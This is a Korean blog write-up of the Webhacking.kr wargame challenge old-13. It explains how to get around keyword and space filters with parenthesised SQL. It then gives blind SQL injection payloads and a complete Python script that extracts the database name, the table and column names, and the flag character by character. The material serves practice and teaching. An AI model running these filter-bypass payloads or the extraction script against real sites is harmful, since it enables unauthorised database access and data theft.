본문 바로가기

Webhacking.kr

old-13

문제 페이지에 접속해보면 다음과 같은 페이지가 나온다.

쿼리 전송 입력창 부분에 1을 입력하면 다음과 같이 출력된다.

여기에 작은 따옴표로 문자열 탈출이 가능한지 확인한다.

입력

1' or 1=1--

 

역시나 필터링 되는 문자열들이 있나 보다. 필자가 여러 시도를 하면서 알아낸 필터링 되는 문자 및 문자열이 무엇인지 나열하자면 다음과 같다.

and

공백

=

#

--

&&

/

*

ascii

group_concat

where

like

그럼 위의 키워드들은 안 쓰면서 SQL Inejction을 수행해야 한다.

우선 SELECT 문으로 1을 출력해보자.

 

전술했듯 이 문제는 공백 문자를 필터링한다. 이 공백문자 필터링을 우회하는 한 방법으로, 괄호()를 활용하는 방법이 있다.

만약 이 백엔드의 SQL 쿼리문이 다음과 같다면

SELECT * FROM [테이블 이름] WHERE no=?

다음의 쿼리문을 통해 1을 출력할 수 있다.

(SELECT(1))
=>
SELECT * FROM [테이블 이름] WHERE no=(SELECT(1))

DB이름 구하기

그렇다면 DB의 이름은 다음의 쿼리문으로 Blind SQL Injection을 이용해 한 글자씩 구해볼 수 있다.

(0)OR(IF(ORD(SUBSTR((SELECT(DATABASE())),{},1))in({}),1,0))

Python Script

import requests

URL = "<https://webhacking.kr/challenge/web-10/>"
SUCCESS_INDICATOR = "1"

def check_condition(data):
    params = {'no': data}
    try:
        r = requests.get(URL, params=params)
        return SUCCESS_INDICATOR in r.text
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
        return

def find_database_name():
    db_name = ""

    sql = "select(database())"
    
    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "(0)OR(IF(ORD(SUBSTR(({}),{},1))in({}),1,0))".format(sql, i, chnum)

            if check_condition(data):
                db_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {db_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Database name: {db_name}")
    return None

⇒ 테이블 이름 : chall13

테이블 이름 구하기

우선 테이블의 개수를 구하자.

다음과 같은 Payload를 사용했다.

(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))

WHERE절을 지금 쓸 수가 없기 때문에 다른 방법을 사용해야 한다.

SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))
  • TABLE_SCHEMA가 DB에 있을 때 결과가 참인 개수다.

위 Payload를 IF절 안에 넣어서 다음과 같이 구할 수 있다.

SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES)
  • information_schema.TABLES안에 현재 DB의 테이블 개수를 출력한다.

위 Payload를 IF절에 넣고 (0)과 or을 활용하면 다음의 Payload로 테이블의 개수를 구할 수 있다.

(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))

Python Script

def find_table_count():
    count = 1
    found = False
    while True:
        data = "(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))".format(count)
        if check_condition(data):
            print(f"[+] Found database table count: {count}")
            found = True
            break
        count += 1
    if not found:
        print(f"[-] Could not find character at position {count}")

⇒ 테이블 개수 : 2

그렇다면 테이블 이름

ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})

(1) 테이블 이름 가져오기

SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))
FROM(INFORMATION_SCHEMA.TABLES)
  • INFORMATION_SCHEMA.TABLES → 모든 테이블 목록
  • TABLE_SCHEMA IN DATABASE() → 현재 DB에 속한 테이블만 필터링

⇒ 현재 DB의 테이블들 중 가장 작은 이름 하나(MIN)만 가져오기

(2) 왜 MIN을 쓰냐?

Blind SQLi에서는:

  • 여러 행 반환 → 에러
  • 하나만 반환 → 필요

그래서:

MIN(TABLE_NAME)

→ 항상 하나만 반환하도록 강제

(3) 특정 위치 문자 추출

SUBSTR( (...), i,1 )
  • i번째 문자 가져오기

(4) ASCII 코드 변환

ORD(...)

문자 → 숫자 변환

예:

'a' → 97

(5) 비교

...IN (c)

실제 의미: i 번째 문자의 ASCII 값이 c인가?

Python Script

def find_table_name():
    table_name = ""

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})".format(i, chnum)
            if check_condition(data):
                table_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {table_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Table name: {table_name}")
    return None

⇒ 테이블 이름 : flag_ab733768

컬럼 이름 구하기

위에서 구한 테이블 이름이 ‘flag_ab733768’이므로, 다른 테이블 이름을 구하기 보단 여기에 FLAG가 있을 것으로 가정한다.

다음의 Payload를 사용했다.

ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})

핵심 SQL 부분 해석

SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b...)),COLUMN_NAME,NULL)))
FROM(INFORMATION_SCHEMA.COLUMNS)

(SELECT(TABLE_NAME) IN (0b...)) : 현재 row의 TABLE_NAME을 숫자로 변환해서 우리가 만든 0b 값과 비교

IF(조건,COLUMN_NAME,NULL)

  • 조건 맞으면 : COLUMN_NAME 반환
  • 틀리면 : NULL

MIN() : 여러 컬럼 중 하나만 뽑기

전체 의미

현재 테이블 이름이 우리가 찾은 table_name과 같은 경우

→ 해당 테이블의 컬럼 이름 중 하나 반환

Python Script

def find_colunm_name():
    # colunm_length = 0
    table_name = 'flag_ab733768'
    table_name =''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})".format(table_name, i, chnum)
            if check_condition(data):
                column_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {column_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Table name: {column_name}")
    return None

⇒ 컬럼 이름 : ‘flag_3a55b31d’

Flag 추출

다음의 Payload 활용해서 Blind SQL Injection 실행

(0)OR(ORD(SUBSTR((SELECT(MAX({컬럼 이름}))FROM({테이블 이름})),{인덱스},1))IN({}))
  • MAX 함수를 이용해서 전체 컬럼 값에서 하나만 추출
  • SUBSTR() 함수를 이용해 글자를 하나씩 구하고 ORD()함수로 아스키 코드값 비교

(0)OR~

  • ‘(0)OR(0)’이면 해당 인덱스의 글자가 IN안의 아스키코드 값의 글자가 아니라는 것이고
  • ‘(0)OR(1)’이면 해당 인덱스의 글자가 IN안의 아스키코드 값의 글자가 맞다는 뜻

Python Script

def find_flag():
    column_name = 'flag_3a55b31d'
    table_name = 'flag_ab733768'
    flag = ""

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "(0)OR(ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({}))".format(column_name, table_name, i, chnum)
            if check_condition(data):
                flag += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {flag}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\\n[✔] Table name: {flag}")
    return None

⇒ FLAG 값 : FLAG{challenge13gummyclear}

 

전체 Script

import requests

URL = "https://webhacking.kr/challenge/web-10/"
SUCCESS_INDICATOR = "<td>1</td>"

def check_condition(data):
    params = {'no': data}
    try:
        r = requests.get(URL, params=params)
        return SUCCESS_INDICATOR in r.text
    except requests.exceptions.RequestException as e:
        print(f"Request failed: {e}")
        return


def find_database_name():
    db_name = ""

    sql = "select(database())"
    
    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "(0)OR(IF(ORD(SUBSTR(({}),{},1))in({}),1,0))".format(sql, i, chnum)

            if check_condition(data):
                db_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {db_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\n[✔] Database name: {db_name}")
    return None


def find_table_count():
    count = 1
    found = False
    while True:
        data = "(0)or(IF((SELECT(SUM((TABLE_SCHEMA)IN((DATABASE()))))FROM(information_schema.TABLES))IN({}),1,0))".format(count)
        if check_condition(data):
            print(f"[+] Found database table count: {count}")
            found = True
            break
        count += 1
    if not found:
        print(f"[-] Could not find character at position {count}")


def find_table_name():
    table_name = ""

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_SCHEMA)IN(DATABASE())),TABLE_NAME,NULL)))FROM(INFORMATION_SCHEMA.TABLES)),{},1))IN({})".format(i, chnum)
            if check_condition(data):
                table_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {table_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\n[✔] Table name: {table_name}")
    return None


def find_colunm_name():
    # colunm_length = 0
    table_name = 'flag_ab733768'
    table_name =''.join(f'{ord(i):08b}' for i in table_name)
    column_name = ''

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "ORD(SUBSTR((SELECT(MIN(IF((SELECT(TABLE_NAME)IN(0b{})),COLUMN_NAME,NULL)))FROM(INFORMATION_SCHEMA.COLUMNS)),{},1))IN({})".format(table_name, i, chnum)
            if check_condition(data):
                column_name += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {column_name}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\n[✔] Table name: {column_name}")
    return None


def find_flag():
    column_name = 'flag_3a55b31d'
    table_name = 'flag_ab733768'
    flag = ""

    i = 1
    while True:
        found = False
        for chnum in range(33, 128):
            data = "ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})".format(column_name, table_name, i, chnum)
            if check_condition(data):
                flag += chr(chnum)
                print(f"[+] Found char {i}: {chr(chnum)} -> {flag}")
                found = True
                break
        if not found:
            print(f"[-] Could not find character at position {i}")
            break
        i = i + 1

    print(f"\n[✔] Table name: {flag}")
    return None


if __name__ == "__main__":
    find_database_name()
    find_table_count()
    find_table_name()
    find_colunm_name()
    find_flag()

'Webhacking.kr' 카테고리의 다른 글

old-02  (0) 2026.05.12
old-57  (0) 2026.05.12
old-09  (0) 2026.05.12
CHILD  (0) 2026.05.11
BABY  (0) 2026.05.08